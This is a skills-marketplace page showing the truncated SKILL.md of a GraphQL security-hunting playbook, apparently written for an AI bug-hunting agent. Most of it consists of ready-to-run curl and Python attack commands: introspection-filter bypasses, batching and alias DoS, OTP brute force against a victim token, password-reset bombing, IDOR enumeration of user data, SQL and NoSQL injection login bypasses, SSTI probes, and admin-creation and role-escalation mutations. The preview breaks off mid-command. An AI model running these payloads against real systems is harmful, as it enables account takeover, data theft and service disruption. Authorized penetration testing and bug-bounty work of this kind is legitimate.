Skip to main content

graphql-audit

GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.

소스 정보

저장소
Awarexone/Agentic-Bug-Hunter
최근 소스 활동
2026년 6월 16일 14:20
감지된 SKILL.md 언어
영어
스타
5,321
포크
941

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
graphql-audit
description
GraphQL security hunting — introspection abuse, field suggestion enumeration (clairvoyance), batching DoS, IDOR via aliasing, auth bypass, injection via arguments, subscription abuse, depth/complexity bombs, and WAF bypass. Covers graphw00f fingerprinting, gqlmap, graphql-cop, and inql. Use when a target exposes a /graphql, /api/graphql, or GQL-over-HTTP endpoint.
# GRAPHQL SECURITY AUDIT > GraphQL flips the threat model — clients drive queries. One endpoint, infinite attack surface. Introspection hands you the schema; even without it, field suggestions give you 80% back. --- ## 0. QUICK KILL CHECKLIST ``` [ ] Run graphql_audit.sh <endpoint> — full automated sweep [ ] Check if introspection is enabled (__schema query) [ ] If introspection off — run clairvoyance for field discovery [ ] Fingerprint engine (graphw00f) — different engines, different CVEs [ ] Test query batching — send 100 identical queries in one POST [ ] Test alias bombing — 1000 aliases in one query [ ] Check field suggestions on typos — leaks schema even when introspection off [ ] Try IDOR: query another user's object by ID, no auth check [ ] Test field-level auth: query privileged fields (admin, role, internalNote) [ ] Inject SQLi/NoSQLi via string arguments — id, filter, search args [ ] Check subscriptions: can you subscribe to other users' events? [ ] Try introspection bypass: __schema\nquery, query batching, fragment tricks [ ] Look for mutation rate limiting — account takeover / self-XSS via mutations ``` --- ## 1. TOOL — graphql_audit.sh ```bash # Basic audit bash tools/graphql_audit.sh https://target.com/graphql # With auth cookie bash tools/graphql_audit.sh https://target.com/api/graphql --cookie "session=abc123" # With Authorization header bash tools/graphql_audit.sh https://target.com/graphql --header "Authorization: Bearer TOKEN" # Through Burp proxy bash tools/graphql_audit.sh https://target.com/graphql --proxy http://127.0.0.1:8080 # Custom output directory bash tools/graphql_audit.sh https://target.com/graphql --output-dir ./findings/target/graphql ``` **Output:** `findings/<target>/graphql/<timestamp>/` - `introspection.json` — full schema dump (if enabled) - `fingerprint.txt` — engine type (graphw00f) - `field_suggestions.txt` — discovered fields via clairvoyance - `batching_dos.txt` — response time delta for 1 vs 100 queries - `alias_bomb.txt` — alias depth test results - `gqlmap.txt` — injection scan results - `cop_report.txt` — graphql-cop attack checklist results - `summary.txt` — hit/miss per phase --- ## 2. INTROSPECTION — Schema Leak (Most Common First Step) ### Check If Enabled ```bash curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ __schema { queryType { name } } }"}' | jq . ``` ### Full Schema Dump ```bash # Pull complete introspection schema (pipe to InQL or graphql-voyager) curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{ "query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } }" }' | jq . > schema.json ``` ### What To Look For In The Schema ``` - Mutations involving user data: updateUser, deleteAccount, changeEmail, changePassword - Queries returning other users' objects: user(id: X), order(id: X) - Fields: internalNote, adminOnly, role, isAdmin, rawPassword, apiKey - Types: AdminUser, InternalConfig, DebugInfo - Deprecated fields — often bypassed auth or forgotten - Subscription types — real-time data leaks ``` ### Introspection Bypass Techniques When `__schema` is blocked, try: ```bash # Newline injection (bypasses naive keyword filters) {"query": "query {\n __schema\n { queryType { name } } }"} # Fragment trick {"query": "fragment f on __Schema { queryType { name } } { ...f }"} # __type instead of __schema (often overlooked in blocklists) {"query": "{ __type(name: \"User\") { fields { name type { name } } } }"} # Via GET request (some servers allow GET, filter only POST) GET /graphql?query={__schema{queryType{name}}} # Over WebSocket (GraphQL subscriptions) # Different code path — introspection may be unrestricted ``` --- ## 3. FIELD SUGGESTION ABUSE (Introspection Off — Still Works) GraphQL engines return helpful "Did you mean X?" errors on typos. This leaks field names. ### Manual Probe ```bash # Typo on a known field to trigger suggestions curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ usr { id } }"}' | grep -i "suggest\|did you mean\|Cannot query" ``` ### Clairvoyance (Automated — Recommended) ```bash # Install pip install clairvoyance # Run field discovery against a known type clairvoyance -u https://target.com/graphql -o schema.json # With auth clairvoyance -u https://target.com/graphql \ -H "Authorization: Bearer TOKEN" \ -o schema.json # Seed with known type names (speeds up discovery significantly) clairvoyance -u https://target.com/graphql \ --input-document schema_partial.json \ -o schema_full.json ``` **What clairvoyance recovers:** type names, field names, argument names — ~80% of introspection output even when blocked. --- ## 4. BATCHING DoS (High Payout, Easy to Prove) GraphQL allows sending multiple operations in one POST. No rate limit = DoS or brute-force amplifier. ### Array Batching (Most Common) ```bash # 100 queries in one request — measure response time delta python3 -c " import json, sys q = {'query': '{ __typename }'} print(json.dumps([q] * 100)) " | curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d @- -w '\nTime: %{time_total}s\n' ``` ### Alias Batching (Bypasses per-query limits) ```bash # 500 aliases — each alias is a separate resolver call python3 -c " aliases = ' '.join(f'q{i}: __typename' for i in range(500)) print('{\"query\": \"{ ' + aliases + ' }\"}') " | curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d @- ``` ### Impact Escalation - **Brute force amplifier:** 100 login mutations per HTTP request → bypasses per-IP lockout - **OTP bypass:** 1000 alias queries testing OTP codes in one request - **Password reset bombing:** 100 resetPassword mutations, each with a different email ```bash # OTP brute force via alias batching — chain with account takeover python3 -c " import json mutations = [] for code in range(1000, 2000): mutations.append(f'v{code}: verifyOTP(code: \"{code}\", token: \"VICTIM_TOKEN\") {{ success }}') query = '{ ' + ' '.join(mutations) + ' }' print(json.dumps({'query': query})) " | curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d @- ``` --- ## 5. IDOR VIA DIRECT OBJECT ACCESS GraphQL queries often accept IDs directly. Test whether the server enforces ownership. ### Basic IDOR Probe ```bash # Logged in as user A (id=1) — query user B's data curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -H 'Cookie: session=USER_A_COOKIE' \ -d '{"query":"{ user(id: 2) { email phone address paymentMethods { last4 } } }"}' # Try orders, messages, invoices, appointments curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -H 'Cookie: session=USER_A_COOKIE' \ -d '{"query":"{ order(id: 999) { total items { name } user { email } } }"}' ``` ### Field-Level IDOR (Privileged Fields on Accessible Objects) ```bash # Object is yours — but are ALL fields yours to read? curl -s -X POST https://target.com/graphql \ -d '{"query":"{ me { id email role isAdmin internalNote rawApiKey } }"}' # Test privileged mutations on other users curl -s -X POST https://target.com/graphql \ -d '{"query":"mutation { updateUser(id: 2, role: \"admin\") { success } }"}' ``` ### Enumeration via Aliases ```bash # Enumerate 50 user IDs in one request python3 -c " import json aliases = [f'u{i}: user(id: {i}) {{ id email role }}' for i in range(1, 51)] print(json.dumps({'query': '{ ' + ' '.join(aliases) + ' }'})) " | curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d @- ``` --- ## 6. INJECTION VIA ARGUMENTS GraphQL arguments pass directly to resolvers. Resolvers often pass them to SQL/NoSQL queries without sanitization. ### SQL Injection ```bash # Classic SQLi probe via search/filter args curl -s -X POST https://target.com/graphql \ -d '{"query":"{ users(search: \"admin'\''--\") { id email } }"}' # Time-based blind SQLi curl -s -X POST https://target.com/graphql \ -d '{"query":"{ users(id: \"1 AND SLEEP(5)--\") { email } }"}' # gqlmap for automated injection gqlmap --target https://target.com/graphql \ --query '{ users(search: GQLMAP) { id email } }' \ --dbms mysql ``` ### NoSQL Injection (MongoDB common in GraphQL backends) ```bash # MongoDB operator injection via JSON coercion curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ login(username: {\"$gt\": \"\"}, password: {\"$gt\": \"\"}) { token } }"}' # Regex bypass curl -s -X POST https://target.com/graphql \ -d '{"query":"{ users(filter: {email: {\"$regex\": \".*\"}}) { id email } }"}' ``` ### SSTI via Template-Rendered Fields ```bash # If description/bio fields render in templates curl -s -X POST https://target.com/graphql \ -d '{"query":"mutation { updateProfile(bio: \"{{7*7}}\") { bio } }"}' ``` --- ## 7. AUTHORIZATION BYPASS PATTERNS ### Unauthenticated Queries ```bash # Try sensitive queries without any auth token curl -s -X POST https://target.com/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{ users { id email role } }"}' # Try mutations without auth curl -s -X POST https://target.com/graphql \ -d '{"query":"mutation { createAdmin(email: \"test@example.com\", password: \"pass\") { id } }"}' ``` ### Horizontal → Vertical Privilege Escalation ```bash # Step 1: Find role mutation in schema # Step 2: Call it as a regular user curl -s -X POST https://target.com/graphql \ -H 'Cookie: session=NORMAL_USER' \ -d '{"query":"mutation { updateUserRole(userId: ME_ID, role: \"ADMIN\") { success } }"}' ``` ### Deprecated Field Auth Bypass ```bash # Deprecated fields are often forgotten — auth checks removed or loosened curl -s -X POST https://target.com/graphql \ -d '{"query":"{ userProfile(id: 2) { legacyToken adminFlags } }"}' ``` --- ## 8. SUBSCRIPTION ABUSE WebSocket-based subscriptions can leak cross-user events if not scoped per-user. ```bash # Subscribe to another user's events (Burp WebSocket tab or wscat) # First: capture legitimate subscription query in Burp # Then: change userId to victim's ID wscat -c wss://target.com/graphql \
GitHub에서 보기
이 SKILL.md는 매우 커서 SkillsMP가 여기에는 첫 섹션만 미리 보여줍니다. GitHub에서 보기